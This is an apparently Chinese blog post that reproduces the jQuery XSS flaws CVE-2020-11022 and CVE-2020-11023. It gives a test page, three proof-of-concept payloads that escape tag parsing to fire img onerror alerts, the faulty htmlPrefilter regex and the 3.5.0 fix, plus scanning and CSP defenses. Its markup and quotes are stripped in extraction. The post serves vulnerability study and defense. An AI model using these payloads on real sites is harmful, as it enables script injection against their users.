jQuery 1.2-3.4.0 XSS漏洞实战:3个PoC复现与CVE-2020-11022/23深度解析
jQuery 1.2-3.4.0 XSS漏洞实战3个PoC复现与CVE-2020-11022/23深度解析1. 漏洞环境搭建与复现准备在开始漏洞复现前我们需要准备一个本地测试环境。以下是完整的HTML代码可直接保存为jquery-xss-demo.html文件!DOCTYPE html html head meta charsetutf-8 titlejQuery XSS PoC Demo/title !-- 使用存在漏洞的jQuery 3.4.0版本 -- script srchttps://code.jquery.com/jquery-3.4.0.min.js/script /head body h1jQuery XSS漏洞复现平台/h1 script function executePoC(pocId, useJQuery) { const sanitizedHTML document.getElementById(pocId).innerHTML; if(useJQuery) { $(#target).html(sanitizedHTML); // 使用jQuery的.html()方法 } else { document.getElementById(target).innerHTML sanitizedHTML; // 使用原生innerHTML } } /script div idtarget styleborder:1px dashed #ccc; padding:20px; margin:20px 0; 攻击结果将显示在这里... /div /body /html注意在实际测试时建议使用本地搭建的测试环境避免直接在生产环境或公开网站进行测试。2. 三个核心PoC构造与分析2.1 PoC 1样式标签闭合绕过攻击向量xmp idpoc1 stylestyle /img srcx onerroralert(PoC1-Executed) /xmp触发方式executePoC(poc1, true);技术原理jQuery的htmlPrefilter会将style /转换为style/style转换后第一个style被第二个/style闭合导致img标签被解析并执行onerror事件防御建议避免直接使用用户输入作为HTML内容对动态内容使用.text()而非.html()2.2 PoC 2属性值注入仅影响jQuery 3.x攻击向量xmp idpoc2 img altx title/img srcx onerroralert(PoC2-Executed) /xmp触发方式executePoC(poc2, true);技术原理jQuery 3.x修改了正则表达式rxhtmlTag /(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0\x20\t\r\n\f]*)[^]*)\//gi会将x识别为标签名并添加闭合标签导致属性中的恶意代码被解析执行版本影响仅影响jQuery 3.x系列1.x和2.x版本不受此特定PoC影响2.3 PoC 3option标签特性滥用攻击向量xmp idpoc3 optionstyle/option/selectimg srcx onerroralert(PoC3-Executed)/style /xmp触发方式executePoC(poc3, true);技术原理jQuery会为孤立的option自动添加select包装浏览器解析时select会忽略其中的style标签导致后续的img标签被正常解析执行特殊限制依赖浏览器对select标签内容的解析特性不同浏览器可能有不同的表现3. CVE-2020-11022/23技术深度解析3.1 漏洞根本原因这两个CVE的共同根源在于jQuery的HTML预处理机制// jQuery 3.4.0中的问题代码 rxhtmlTag /(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0\x20\t\r\n\f]*)[^]*)\//gi; htmlPrefilter: function(html) { return html.replace(rxhtmlTag, $1/$2); }关键问题点自动闭合标签转换逻辑存在缺陷未考虑属性值中的恶意内容对特殊标签如option的处理不完善3.2 漏洞利用条件检查表条件项是否必需说明使用受影响jQuery版本是1.2.0 ≤ 版本 3.5.0使用危险DOM操作方法是.html(), .append(), $( )等处理用户可控输入是包括URL参数、表单输入等已进行消毒处理是漏洞可绕过常见消毒措施3.3 官方修复方案对比jQuery 3.5.0的修复方式完全移除了htmlPrefilter功能引入更严格的HTML解析逻辑对特殊标签增加额外检查// 修复后的jQuery 3.5.0代码 htmlPrefilter: function(html) { return html; // 不再进行任何转换 }4. 漏洞检测与防御实践4.1 自动化检测方案使用Retire.js扫描项目中的jQuery版本# 安装retire.js npm install -g retire # 扫描web目录 retire --path /var/www/html典型输出示例jquery 3.4.0 ↳ vulnerabilities: CVE-2020-11022: 3.5.0 jQuery 1.2 CVE-2020-11023: 3.5.0 jQuery 1.24.2 企业级防御策略临时缓解措施禁用危险的DOM操作方法对所有动态内容实施输出编码长期解决方案升级到jQuery 3.5.0实施内容安全策略(CSP)meta http-equivContent-Security-Policy contentdefault-src self; script-src self unsafe-inline安全编码规范使用.text()替代.html()对用户输入实施双重验证function safeHTML(input) { return $(div).text(input).html(); }5. 实战案例与经验分享在最近一次渗透测试中我们发现某CMS系统存在这个漏洞。攻击链如下识别目标使用jQuery 3.3.1找到使用.html()方法的AJAX回调处理构造特制的PoC 2 payload成功实现存储型XSS攻击关键发现许多开发者认为消毒处理后就是安全的实际业务中常见于评论系统、富文本编辑器等场景漏洞利用成功率约65%取决于具体实现防御经验在项目初期就锁定安全版本定期使用依赖扫描工具对第三方组件实施安全审计

相关新闻

Redis--哨兵机制与CAP定理

Redis--哨兵机制与CAP定理

对于master的宕机之后的冷处理是无法实现高可用的。Redis2.6开始提供高可用的解决方案--Sentinel 哨兵机制。在Redis集群中增加一个节点,充当Sentinel哨兵,用来监视master运行状态,在master宕机后,自动指定一个slave充当新的maste…

2026/7/8 0:11:18阅读更多 →
实验室仪器电脑如何审计:采集软件、导出文件和远程维护要分开看

实验室仪器电脑如何审计:采集软件、导出文件和远程维护要分开看

实验室仪器电脑会同时运行采集软件、导出数据文件、连接内网平台、保存截图和接受远程维护。排查时如果只有单点日志,很难判断数据文件、采集软件和远程处理之间的关系。更稳妥的做法,是把文件操作、程序运行、屏幕过程和维护记录分层梳理。一、审计对象…

2026/7/8 0:11:18阅读更多 →
STM32F215RE与A3910电机驱动方案详解

STM32F215RE与A3910电机驱动方案详解

1. 项目概述:A3910与STM32F215RE的黄金组合在嵌入式系统开发领域,选择合适的驱动芯片和主控MCU往往决定了项目的成败。A3910作为一款高性能电机驱动芯片,搭配基于ARM Cortex-M3内核的STM32F215RE微控制器,能够构建出响应迅速、控制…

2026/7/8 0:11:18阅读更多 →
室外组别比赛场地

室外组别比赛场地

简 介: 【】 华北赛区轮腿穿越组同学反映,今年室外比赛场地由操场改为瓷砖广场,引发争议。学生指出:1)瓷砖低色度影响视觉识别;2)各校瓷砖差异大,缺乏统一标准;3&#xf…

2026/7/8 1:11:22阅读更多 →
AI 辅助理解 Rust 泛型:让模型用具体类型举例,再抽象回泛型

AI 辅助理解 Rust 泛型:让模型用具体类型举例,再抽象回泛型

AI 辅助理解 Rust 泛型&#xff1a;让模型用具体类型举例&#xff0c;再抽象回泛型 一、泛型这个坎&#xff0c;自学绕不过去 学 Rust 的过程中&#xff0c;泛型是我卡得最久的一个概念。 不是说完全看不懂——看别人的代码知道 <T> 大概在干什么&#xff0c;但轮到自己写…

2026/7/8 1:11:22阅读更多 →
SonarQube 10.x JWT 签名漏洞排查:从 none 算法到 HS256 的 5 个修复要点

SonarQube 10.x JWT 签名漏洞排查:从 none 算法到 HS256 的 5 个修复要点

SonarQube 10.x JWT 签名漏洞深度防御指南&#xff1a;从算法升级到全链路验证在微服务架构中&#xff0c;JSON Web Tokens (JWT) 作为身份验证的核心组件&#xff0c;其安全性直接关系到整个系统的防护水平。SonarQube 10.x 版本对 JWT 签名算法的严格检查暴露出许多项目中长期…

2026/7/8 1:11:22阅读更多 →
第十四篇:Context Management 上下文管理 —— 200K Token 窗口的利用艺术

第十四篇:Context Management 上下文管理 —— 200K Token 窗口的利用艺术

第十四篇&#xff1a;Context Management 上下文管理 —— 200K Token 窗口的利用艺术&#x1f4da; 系列文章 第14篇/共100篇 2026年7月 ⏱️ 阅读时间约 15 分钟 源码位置&#xff1a;src/services/compact/、src/query/tokenBudget.ts、src/utils/context.ts一、引言&…

2026/7/8 1:11:22阅读更多 →
AI绘画商业化应用模式与收入结构分析

AI绘画商业化应用模式与收入结构分析

2026年&#xff0c;AI绘画已深度融入数字内容生产链条。据行业统计&#xff0c;超过40%的专业数字艺术家将生成式AI工具纳入日常工作流&#xff0c;商业化应用场景从个人创作延伸至品牌营销、游戏美术、影视概念设计等多个领域。与此同时&#xff0c;市场参与者的收入分布呈现出…

2026/7/8 1:11:21阅读更多 →
从零实现一个服务网格:Istio的核心设计

从零实现一个服务网格:Istio的核心设计

前言你有没有想过&#xff1a;在Kubernetes中&#xff0c;Istio是怎么做到无侵入地实现流量管理、安全加密、可观测性的&#xff1f;服务网格(Service Mesh) 通过注入Sidecar代理&#xff0c;劫持所有服务间流量&#xff0c;在不修改业务代码的情况下实现流量治理。今天我们用C…

2026/7/8 1:06:21阅读更多 →
从GitHub安全案例解析常见漏洞与防护实践

从GitHub安全案例解析常见漏洞与防护实践

1. 项目概述&#xff1a;从GitHub Trending看安全实战 最近在GitHub Trending上看到一个项目&#xff0c;叫 skills4/skills &#xff0c;它因为一些安全漏洞案例被大家讨论。这其实是一个挺典型的场景&#xff1a;一个旨在展示或教授某种技能的仓库&#xff0c;本身却成了安…

2026/7/7 4:43:43阅读更多 →
MLT 2026启示:因果推理与概率建模驱动下一代LLM应用

MLT 2026启示:因果推理与概率建模驱动下一代LLM应用

# MLT 2026启示&#xff1a;因果推理与概率建模驱动下一代LLM应用## 一、背景与挑战&#xff1a;从“黑箱预测”到“可信推理”2026年6月&#xff0c;第7届机器学习与趋势国际会议&#xff08;MLT 2026&#xff09;将在悉尼召开。会议议程中&#xff0c;“因果与可解释机器学习…

2026/7/7 2:56:31阅读更多 →
通达OA SQL注入漏洞深度剖析:从手工注入到自动化利用与防御

通达OA SQL注入漏洞深度剖析:从手工注入到自动化利用与防御

1. 项目概述与漏洞背景最近在梳理一些历史OA系统的安全风险时&#xff0c;通达OA v11.6版本中的一个老漏洞又进入了我的视线。这个漏洞位于/general/bi_design/appcenter/report_bi.func.php文件中&#xff0c;是一个典型的SQL注入点。虽然这个漏洞的利用方式看起来并不复杂&am…

2026/7/7 1:03:28阅读更多 →
作为一个给团队打绩效的人,我想说几句

作为一个给团队打绩效的人,我想说几句

我每半年都会给团队成员打绩效&#xff0c;也会参与和 CTO 的绩效校准&#xff0c;所以从管理者的视角&#xff0c;说说这件事 首先&#xff0c;我先把结论告诉你&#xff1a;接受结果&#xff0c;但一定要把原因问清楚。 因为当绩效公布到你这里的时候&#xff0c;结果基本已…

2026/7/8 0:01:17阅读更多 →
A股股指期货:全维度解析(多表格结构化完整版)

A股股指期货:全维度解析(多表格结构化完整版)

一、基础定义与核心本质股指期货全称股票价格指数期货&#xff0c;是中国金融期货交易所&#xff08;中金所&#xff09;上市的标准化金融期货合约&#xff0c;交易标的为 A 股大盘指数&#xff0c;约定未来特定时间按约定价格现金交割指数涨跌差价&#xff0c;不交割一篮子股票…

2026/7/8 0:01:17阅读更多 →
iOS越狱新手指南:从困惑到掌控,3天解锁iPhone无限潜能的真实故事

iOS越狱新手指南:从困惑到掌控,3天解锁iPhone无限潜能的真实故事

iOS越狱新手指南&#xff1a;从困惑到掌控&#xff0c;3天解锁iPhone无限潜能的真实故事 【免费下载链接】Jailbreak iOS 26.4 - 26, 17 - 17.7.5 & iOS 18 - 18.7.3 Jailbreak Tools, Cydia/Sileo/Zebra Tweaks & Jailbreak News Updates || AI Jailbreak Finder &…

2026/7/8 0:01:17阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时&#xff0c;发现推理速度只有可怜的 1-2 FPS&#xff0c;而别人的演示视频却能跑到 30 FPS 以上&#xff0c;那么问题很可能不在模型本身&#xff0c;而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后&#xff0c;会直接使用官方示例…

2026/7/7 5:11:21阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一&#xff1a;为什么你需要了解 Coze 和 Dify&#xff1f;如果你对 AI 应用开发感兴趣&#xff0c;但一看到“大模型”、“智能体”、“工作流”这些词就头疼&#xff0c;觉得门槛太高&#xff0c;那这篇文章就是为你准备的。很多开发者&#xff0c;包括我自己&#…

2026/7/7 5:11:21阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会&#xff1a;配图一直是个让人头疼的问题。2026年&#xff0c;AI生图工具已经非常成熟了&#xff0c;但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1&#xff1a;速度之王2026年6月11日&#xff0c…

2026/7/7 5:11:21阅读更多 →